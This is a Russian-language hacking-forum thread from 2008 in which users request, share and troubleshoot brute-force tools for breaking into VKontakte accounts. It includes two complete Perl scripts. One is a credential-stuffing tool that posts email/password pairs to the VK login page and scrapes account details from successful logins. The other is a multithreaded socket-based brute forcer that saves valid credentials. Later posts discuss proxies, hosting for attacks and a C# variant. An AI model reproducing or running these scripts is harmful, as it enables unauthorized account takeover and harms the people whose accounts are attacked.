VK bruteforce

Discussion in 'Песочница' started by svesve, 27 May 2008.

  1. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    Помогите найти нормальный брутер по списку мыл и паролей.

    есть вот такой но он почемуто выдает ошибку (
     
    2 people like this.
  2. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    ошибку напиши
    этим скриптом я сам пользуюсь и он отлично работает
     
    #2 Vid0k, 27 May 2008
    Last edited: 27 May 2008
  3. k0lbasa

    k0lbasa Elder - Старейшина

    Joined:
    25 May 2008
    Messages:
    189
    Likes Received:
    131
    Reputations:
    -9
    http://forum.antichat.ru/showthread.php?t=69838
    вот еще какой-то, или он же
     
    1 person likes this.
  4. NeOz

    NeOz Banned

    Joined:
    26 Jul 2006
    Messages:
    27
    Likes Received:
    44
    Reputations:
    -5
    PHP:
    #! /usr/bin/perl -w
    use strict;
    use 
    HTTP::Request::Common;
    use 
    LWP::UserAgent;
    use 
    HTTP::Cookies;

    #Список email
    my $ml 'emails.txt'
    #Сбрученные аккаунты
    my $fname 'good.txt'
    #Несбрученные аккаунты
    my $fname1 'bad.txt'
    #список паролей
    my $psw 'pass.txt'
    my $control '-1';
    my %example;
    my (@data, @data1);


    printf "Starting...\n";



    sub submit_query {
        
    my ($file, %query) = @_;
        
    my $user_agent LWP::UserAgent->new();
        
    my $cookies HTTP::Cookies->new;
        
    my $cookie_jar HTTP::Cookies->new(
        
    file => 'cookies.dat',
        
    autosave => 1, );
        
    $user_agent->cookie_jar($cookie_jar);
        
    ################################################################
        
    $user_agent->agent("User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.8;" $user_agent->agent);
        
    ################################################################

        
    my $request POST
        $file
    ,
        [%
    query];
        
        
    ################################################################
        
    my $response $user_agent->request($request);
        
    my $res $response->as_string;
        
    ################################################################    
        
        
    if($res =~/<div id='error'>/ )
                            {
                            print 
    FILE1 "[!]Wrong password: ";
                            
    $control '0';
            
                            }
                        else
                            {
                            
                                
    my $req HTTP::Request->new(GET => "http://vkontakte.ru/profile.php");
                                
    my $response2 $user_agent->request($req);
                                
    my $res2 $response2->as_string;
                                
                                if(
    $res2 =~/id="percent">(.*)%</)
                                {
                                print 
    FILE "[rate=$1]";
                                }
                                if(
    $res2 =~/percentGold">(.*)</)
                                {
                                print FILE "
    [gold_rate=$1]";
                                }
                                
    $req = HTTP::Request->new(GET => "http://vkontakte.ru/settings.php");
                                
    $response2 $user_agent->request($req);
                                
    $res2 $response2->as_string;
                                if(
    $res2 =~/контакте: <b>(.*)</) {print FILE "[id=$1]";}
                                if(
    $res2 =~/"idr" value="(.*)"/) {print FILE "[sid=$1]";}
                                
                                
    $control '1';
                                
                            }
                            
                }


        
    open(DAT$ml) || die("Could not open emails file!");
        @
    data=<DAT>;
        
    close(DAT);
        
        
    open(DAT1$psw) || die("Could not open passwords file!");
        @
    data1=<DAT1>;
        
    close(DAT1);
        

    my $time time
    my $start localtime;
    printf "Vkontakte brutforoce\n";
    printf "Started at $start\n";

    foreach 
    my $mail (@data)
    {
    chomp($mail);
    foreach 
    my $password (@data1)
            {
            
    chomp($password);
            %
    example = (success_url => ''fail_url => ''try_to_login => '1'email => $mailpass => $password);

            
    open(FILE">>$fname") || die("Could not open $fname\n");
            
    open(FILE1">>$fname1") || die("Could not open $fname1\n");
            
    submit_query("http://vkontakte.ru/login.php", %example);
            
                if (
    $control == '1')    
                    {
                    print 
    FILE "$mail : $password\n";
                    }
                else
                    {
                    print 
    FILE1 "$mail : $password\n";
                    }
                
            
    close FILE;
            
    close FILE1;
            }
    }
    $time time-$time;
    my $end localtime;
    printf "Completed at $end\n";
    printf "Time Elapsed: $time sec\n";

    по мне этот получше будет.
    по спискку мыл чекает пароль\пароли
     
    2 people like this.
  5. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    Use of uninitialized value in concatenation (.) or string at brut2.pl line 76, <
    ACS> line 1.
     
  6. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    попробуй #! /usr/bin/perl -w
     
  7. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    и так и так
    проверяю валидные акки даже в гоод не заносит
     
  8. Vid0k

    Vid0k Elder - Старейшина

    Joined:
    24 Dec 2007
    Messages:
    393
    Likes Received:
    125
    Reputations:
    13
    PHP:
    #! /usr/bin/perl -w
    use IO::Socket;
    use 
    threads;
    use 
    threads::shared;

    $threads =  shift || 5                #Кол-во потоков
    $pass    =  shift || 'pass'         #pwd
    $fname   'good.txt'               #Валидные
    $ml      =  shift || 'mails.txt'    #Список мыл

    my @acc shared;
    my $i shared;
    my $total shared;
    $| =
    1;

    print 
    "Loading...\n";

    open (ACS"<$ml") || die("Could not open mail list file!");
    @
    acc acc();

    $size scalar @acc;
    $time      time
    $start      localtime;
    print  
    "Loaded: ",$size," emails.\n";
    printf "Started at $start\n";

    for(
    0..$threads) {$trl[$_] = threads->create(\&Brut$_);}
    for(@
    trl) { $_->join; }

    sub Brut
    {
        while(@
    acc)
        {    
            {
    lock(@acc);$acc shift @acc;}
            
    my $sock = new IO::Socket::INET 
            
    (
            
    PeerAddr => 'vkontakte.ru',
               
    PeerPort => 80
               
    PeerProto => 'tcp'
               
    TimeOut => 20
            
    ) or die "Can't connect\n";
            
            
    my $data "email=$acc&pass=$pass";
            
    my $len length($data);
            
    my $re "POST /login.php HTTP/1.1\nHost: vkontakte.ru\n".
             
    "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0b1; Windows NT 5.1; SV1; .NET CLR 1.1.4322; MS IdentiServ 1.4.12)\nKeep-Alive: 300\n".
             
    "Connection: keep-alive\nReferer: http://vkontakte.ru\n".
             
    "Content-Type: application/x-www-form-urlencoded\n".
             
    "Content-Length: $len\n\n$data";
            
            print 
    $sock $re
            
    sysread ($sockmy $answ800);
            
            if(
    $answ =~ /\S{32}/)
                {
                    {
    lock($total); $total++;}
                    print 
    "[+] $acc\n";
                    
    open(FILE">>$fname") || die("Could not open $fname\n");
                    print 
    FILE "$acc : $pass\n";
                    
    close(FILE);
                }
            {
    lock($i);$i++;}
            
    $percent = ($i/$size)*100;
            
    progress();

        }
                
            
    }


    $time time-$time;
    $end localtime;
    printf "Finished at $end\n";
    printf "Time elapsed: $time sec\n";
    printf "Finded: $total \n";

    sub progress{

    print 
    "|";
    $percent sprintf("%.2f"$percent);
    print 
    "< $percent% > complete";
    print 
    "\r";
        }

    sub acc
    {
        
    my (@mas);
        while (<
    ACS>){
        
    push @mas$_;
        }
        
    chomp @mas;
        return @
    mas;
    }

    #(c)Kaimi
    только что проверил все норм скопируй и попробуй
     
  9. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    всеравно в гуд не пишет ничего.ошибка пропала когда ключ -w убрал
    но в гуды не пишет сцуко (
    даже перл новвый качнул спецон
     
  10. X-Venom

    X-Venom Banned

    Joined:
    29 Apr 2008
    Messages:
    569
    Likes Received:
    365
    Reputations:
    21
    А мне у гут пишет весь список мыл которые я бручу и пасс пишет который я поставил но все инвалид,почему так?
     
  11. AlexV

    AlexV Elder - Старейшина

    Joined:
    29 Feb 2008
    Messages:
    173
    Likes Received:
    550
    Reputations:
    81
    Ребят, есть брутер рабочий через прокси или на хосте!? А то вот этот у меня не работает - кто разбирается - помогите плиз! Ссылка
     
  12. AlexV

    AlexV Elder - Старейшина

    Joined:
    29 Feb 2008
    Messages:
    173
    Likes Received:
    550
    Reputations:
    81
    Это же от Kaimi! Он через прокси не поддерживает... Есть еще какие!?
     
  13. xaklip

    xaklip Elder - Старейшина

    Joined:
    5 Mar 2008
    Messages:
    84
    Likes Received:
    47
    Reputations:
    24
    Прокси и не нужны, ибо там отсутствует бан по IP(На самом вконтакте). :cool:
     
  14. xaker-boss

    xaker-boss Elder - Старейшина

    Joined:
    6 Mar 2007
    Messages:
    251
    Likes Received:
    49
    Reputations:
    -11
    Ребят извините за глупый вопрос, как мне его запустить на серваке (firstvds.ru) ???
     
  15. AlexV

    AlexV Elder - Старейшина

    Joined:
    29 Feb 2008
    Messages:
    173
    Likes Received:
    550
    Reputations:
    81
    Нет, там то понятно! Мне нужно для себя - т.к. я подключен к нету через прокси сервер...
     
  16. Romaxa55

    Romaxa55 Banned

    Joined:
    19 Oct 2005
    Messages:
    144
    Likes Received:
    30
    Reputations:
    4
    сорри не дочитал 2- страницу т ьупой ответ выдал.
     
  17. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    хм мне кажется или на контакте теперь лочат ип?
    брут после 4-5% встает
     
  18. AlexV

    AlexV Elder - Старейшина

    Joined:
    29 Feb 2008
    Messages:
    173
    Likes Received:
    550
    Reputations:
    81
    Скорей всего кажется - с чего ты взял!?

    P.s. И все же есть брутер работающий через прокси - очень надо!
     
  19. КВР

    КВР Elder - Старейшина

    Joined:
    23 Apr 2008
    Messages:
    16
    Likes Received:
    30
    Reputations:
    -2
    Обновленый билд брутера на C#


    Ещё один, столько клонов и все для контакта.Если пишут значит это комуто нужно
    [​IMG]

    скачать

     
  20. sasha008

    sasha008 Elder - Старейшина

    Joined:
    2 Apr 2008
    Messages:
    102
    Likes Received:
    49
    Reputations:
    -3
    Какой лутше вібрать хостинг для брута!!!